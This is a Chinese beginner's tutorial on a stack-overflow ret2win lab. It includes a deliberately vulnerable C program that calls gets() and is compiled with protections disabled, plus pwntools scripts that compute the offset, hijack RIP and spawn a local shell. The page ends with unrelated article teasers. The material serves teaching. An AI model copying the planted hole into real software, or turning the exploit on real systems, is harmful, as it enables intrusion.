news 2026/9/25 19:57:29

小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
小白入门PWN:栈溢出实战(从0到拿到shell,全程可复现)

前言

本文针对 PWN 小白,基于 Ubuntu 24.04 LTS 系统,全程使用目录下的 6 个文件(calc.py、exp1.py、exp2.py、exp_shell.py、vuln、vuln.c),一步一步复现栈溢出攻击全过程,最终成功拿到系统 shell 权限。

核心目标:理解栈溢出原理、掌握偏移计算、学会控制程序执行流、实现 ret2win 拿 shell,全程实操无废话,小白跟着敲就能成功!

环境说明:Ubuntu 24.04 LTS(64位)、pwndbg、pwntools、gcc(已提前安装,安装教程见文末)

目录文件清单(提前准备好,文末附所有文件完整代码):

calc.py # 计算栈溢出偏移 exp1.py # 生成cyclic字符串,使程序崩溃 exp2.py # 验证RIP控制(覆盖为0xdeadbeef) exp_shell.py # 最终攻击脚本,拿到shell vuln.c # 漏洞程序(含后门函数win) vuln # 漏洞程序编译产物

一、实验前置准备(小白必看)

确保以下工具已安装(若未安装,执行对应命令):

# 安装系统依赖 sudo apt update sudo apt install -y python3-pip git gdb gcc-multilib g++-multilib checksec # 安装pwntools(全局可用) sudo pip3 install pwntools --break-system-packages # 安装pwndbg(GDB增强工具,自动加载) cd ~ git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

验证工具是否可用(输入以下命令,无报错即正常):

checksec --help pwn version gdb -q -ex "quit"

二、实验全流程(一步一步复现,小白直接抄)

步骤1:创建实验目录,准备所有文件

1. 新建目录并进入(规范管理,避免文件混乱):

mkdir -p ~/pwn-study/week3/day1 cd ~/pwn-study/week3/day1

2. 依次创建 6 个文件(复制对应代码,保存即可),最终目录结构如下:

~/pwn-study/week3/day1/ ├── calc.py ├── exp1.py ├── exp2.py ├── exp_shell.py ├── vuln.c └── vuln

步骤2:编写漏洞程序(vuln.c)并编译

1. 创建 vuln.c 文件(含栈溢出漏洞和后门函数 win):

#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }

2. 编译漏洞程序(关闭所有保护,小白直接复制命令,不要改参数):

gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c

编译后会出现 3 个警告(正常现象,不影响实验):

vuln.c: In function ‘vulnerable’: vuln.c:7:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] 7 | gets(buffer); // 危险函数,无边界检查 | ^~~~ | fgets vuln.c: In function ‘win’: vuln.c:17:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 17 | system("/bin/sh"); | ^~~~~~ /usr/bin/ld: /tmp/cckjjjNV.o: in function `vulnerable': /home/virtual-machine/pwn-study/week3/day1/vuln.c:7:(.text+0x28): warning: the `gets' function is dangerous and should not be used.

此时目录下会生成编译产物vuln(可执行程序)。

步骤3:生成cyclic字符串,使程序崩溃(exp1.py)

1. 创建 exp1.py 文件(生成200个不重复字符串,用于触发栈溢出并标记崩溃地址):

from pwn import * # 生成200个不重复的cyclic字符串(用于定位溢出偏移) pattern = cyclic(200) # 启动漏洞程序,并发送cyclic字符串 p = process('./vuln') p.sendline(pattern) p.interactive()

2. 运行脚本,触发程序崩溃:

python3 exp1.py

运行后输出如下(核心是出现 SIGSEGV 段错误,说明栈溢出成功):

[+] Starting local process './vuln': pid 7269 [*] Switching to interactive mode Input: You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7269) [*] Got EOF while sending in interactive

步骤4:使用GDB查看崩溃地址,计算偏移(calc.py)

1. 用 GDB 运行漏洞程序,查看崩溃时的返回地址:

gdb ./vuln

2. 进入 GDB 后,输入run,然后粘贴 exp1.py 输出的那串长字符串(cyclic字符串),程序会崩溃:

pwndbg> run Starting program: /home/virtual-machine/pwn-study/week3/day1/vuln Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Program received signal SIGSEGV, Segmentation fault.

3. 查看崩溃时的返回地址(关键!),找到如下一行:

► 0x4011df <vulnerable+73> ret <0x6161617461616173>

这里的0x6161617461616173就是崩溃时被覆盖的返回地址(每个人的可能略有差异,以自己的为准)。

4. 退出 GDB(输入q),创建 calc.py 文件,计算栈溢出偏移:

from pwn import * # 填入自己GDB中看到的崩溃地址(0x开头) print(cyclic_find(0x6161617461616173))

5. 运行 calc.py,得到偏移值(本文中是 72,小白的也会是 72,因为 buffer 是 64 字节 + 8 字节 saved RBP):

python3 calc.py [!] cyclic_find() expected an integer argument <= 0xffffffff, you gave 0x6161617461616173 Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes. Truncating the data at 4 bytes. Specify cyclic_find(..., n=8) to override this. 72

提示:出现上面的警告不用管,最终输出的 72 就是我们需要的偏移值。

步骤5:验证RIP控制(exp2.py)

1. 创建 exp2.py 文件(用 72 个 A 填充,覆盖 RIP 为 0xdeadbeef,验证是否能控制程序执行流):

from pwn import * offset = 72 # 步骤4计算出的偏移值 payload = b'A' * offset # 72个A,填充到RIP前 payload += p64(0xdeadbeef) # 覆盖RIP为0xdeadbeef # 启动程序,发送payload p = process('./vuln') p.sendline(payload) p.interactive()

2. 运行脚本,验证控制效果:

python3 exp2.py

运行后会出现 SIGSEGV 段错误,说明我们已经成功控制 RIP(程序跳转到了我们指定的 0xdeadbeef 地址):

[+] Starting local process './vuln': pid 7309 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ\xde [*] Got EOF while reading in interactive $ ls [*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7309) [*] Got EOF while sending in interactive

步骤6:最终攻击,拿到shell(exp_shell.py)

1. 先查看后门函数 win() 的地址(关键!每个人的地址可能不同,必须自己查):

objdump -d vuln | grep win

输出如下(本文中 win 函数地址是 0x4011f9,小白以自己的输出为准):

00000000004011f9 <win>:

2. 创建 exp_shell.py 文件(最终攻击脚本,跳转至 win 函数,拿到 shell):

from pwn import * # 填入自己的偏移值和win函数地址 offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的地址 # 64位程序必须加ret跳板(解决栈对齐问题,否则会崩溃) ret_gadget = 0x40101a # 通用ret跳板地址,无需修改 # 构造最终payload payload = b'A' * offset payload += p64(ret_gadget) # 栈对齐跳板 payload += p64(win_addr) # 跳转至win函数,拿到shell # 启动程序,发送payload,进入shell p = process('./vuln') p.sendline(payload) p.interactive()

3. 运行脚本,直接拿到 shell!

python3 exp_shell.py

成功标志:出现$提示符,输入ls、whoami等命令可正常执行:

[+] Starting local process './vuln': pid 7362 [*] Switching to interactive mode Input: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ $ ls calc.py exp1.py exp2.py exp_shell.py vuln vuln.c $ id uid=1001(virtual-machine) gid=1001(virtual-machine) groups=1001(virtual-machine),27(sudo),100(users) $ whoami virtual-machine $

至此,栈溢出攻击全程复现成功!小白也能轻松拿到 shell!

三、避坑指南(小白必看,避免踩坑)

  • 坑1:编译命令错误 → 必须使用gcc -fno-stack-protector -no-pie -z execstack -g -o vuln vuln.c,少一个参数都会导致实验失败(比如没关 Canary、没关 PIE)。

  • 坑2:cyclic_find 报错 → 直接用终端运行 calc.py,不要在 GDB 里输入 cyclic_find(GDB 里没有这个命令)。

  • 坑3:运行 exp_shell.py 崩溃 → 必须加 ret 跳板(64位程序栈对齐要求),ret_gadget 用 0x40101a 即可(通用)。

  • 坑4:win 函数地址填错 → 必须用objdump -d vuln | grep win自己查,不要直接抄本文的地址(每个人的可能不同)。

四、所有文件完整代码(小白直接复制,无需修改)

1. vuln.c(漏洞程序):

#include <stdio.h> #include <string.h> void vulnerable() { char buffer[64]; // 64字节栈缓冲区 puts("Input:"); gets(buffer); // 高危函数,无边界检查(栈溢出漏洞点) printf("You said: %s\n", buffer); } int main() { vulnerable(); return 0; } void win() { system("/bin/sh"); // 后门函数,执行后拿到shell }

2. exp1.py(生成cyclic字符串):

from pwn import * pattern = cyclic(200) p = process('./vuln') p.sendline(pattern) p.interactive()

3. calc.py(计算偏移):

from pwn import * print(cyclic_find(0x6161617461616173)) # 替换成自己GDB查到的崩溃地址

4. exp2.py(验证RIP控制):

from pwn import * offset = 72 payload = b'A' * offset payload += p64(0xdeadbeef) p = process('./vuln') p.sendline(payload) p.interactive()

5. exp_shell.py(最终拿shell):

from pwn import * offset = 72 win_addr = 0x4011f9 # 替换成自己objdump查到的win地址 ret_gadget = 0x40101a payload = b'A' * offset payload += p64(ret_gadget) payload += p64(win_addr) p = process('./vuln') p.sendline(payload) p.interactive()

五、实验总结

本文通过 6 个文件,完整复现了栈溢出攻击的核心流程:

1. 编写漏洞程序(利用 gets 函数的无边界检查);

2. 生成 cyclic 字符串,触发栈溢出并标记崩溃地址;

3. 计算栈溢出偏移,确定覆盖 RIP 所需的字节数;

4. 验证 RIP 控制,确保能让程序跳转到指定地址;

5. 跳转至后门函数,最终拿到系统 shell。

对于小白来说,这是最基础、最易复现的 PWN 入门实验,掌握这个流程后,后续可以进阶学习 shellcode 注入、ret2libc、绕过各种安全保护等更高级的内容。

如果觉得本文对你有帮助,欢迎点赞、收藏、关注,后续会持续更新 PWN 入门实战教程!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/23 23:04:00

从NOJ到算法实战:一份西工大编程训练题的解题思路与代码精讲

1. NOJ平台与算法实战入门指南 西北工业大学在线评测系统&#xff08;NOJ&#xff09;是计算机专业学生提升编程能力的绝佳训练场。这个平台汇集了大量从基础到进阶的算法题目&#xff0c;覆盖了数据结构、数学运算、字符串处理等核心知识点。记得我第一次接触NOJ时&#xff0c…

作者头像 李华
网站建设 2026/9/25 3:25:58

CANoe之UDS诊断自动化测试(二):核心诊断窗口实战解析

1. Diagnostic Console窗口&#xff1a;诊断请求的指挥中心 Diagnostic Console是CANoe诊断功能中最核心的操作界面&#xff0c;相当于诊断测试的"控制台"。我第一次接触这个窗口时&#xff0c;感觉就像发现了一个新大陆——原来诊断测试可以这么直观&#xff01; 加…

作者头像 李华
网站建设 2026/9/24 6:35:25

一站式下载管理神器:imFile让你的文件获取效率提升300%

一站式下载管理神器&#xff1a;imFile让你的文件获取效率提升300% 【免费下载链接】imfile-desktop A full-featured download manager. 项目地址: https://gitcode.com/gh_mirrors/im/imfile-desktop 还在为繁琐的下载任务烦恼吗&#xff1f;imFile作为一款全功能下载…

作者头像 李华
网站建设 2026/9/22 20:41:57

幻影峡谷工控机实战:FLIR BFS-PGE-16S2C-CS相机ROS驱动配置手记

幻影峡谷工控机实战&#xff1a;FLIR BFS-PGE-16S2C-CS相机ROS驱动配置全解析 在工业视觉系统中&#xff0c;FLIR灰点相机凭借其卓越的热成像和高速采集能力&#xff0c;成为智能制造、自动化检测等场景的核心传感器。而幻影峡谷工控机以其紧凑的机身和强大的计算性能&#xff…

作者头像 李华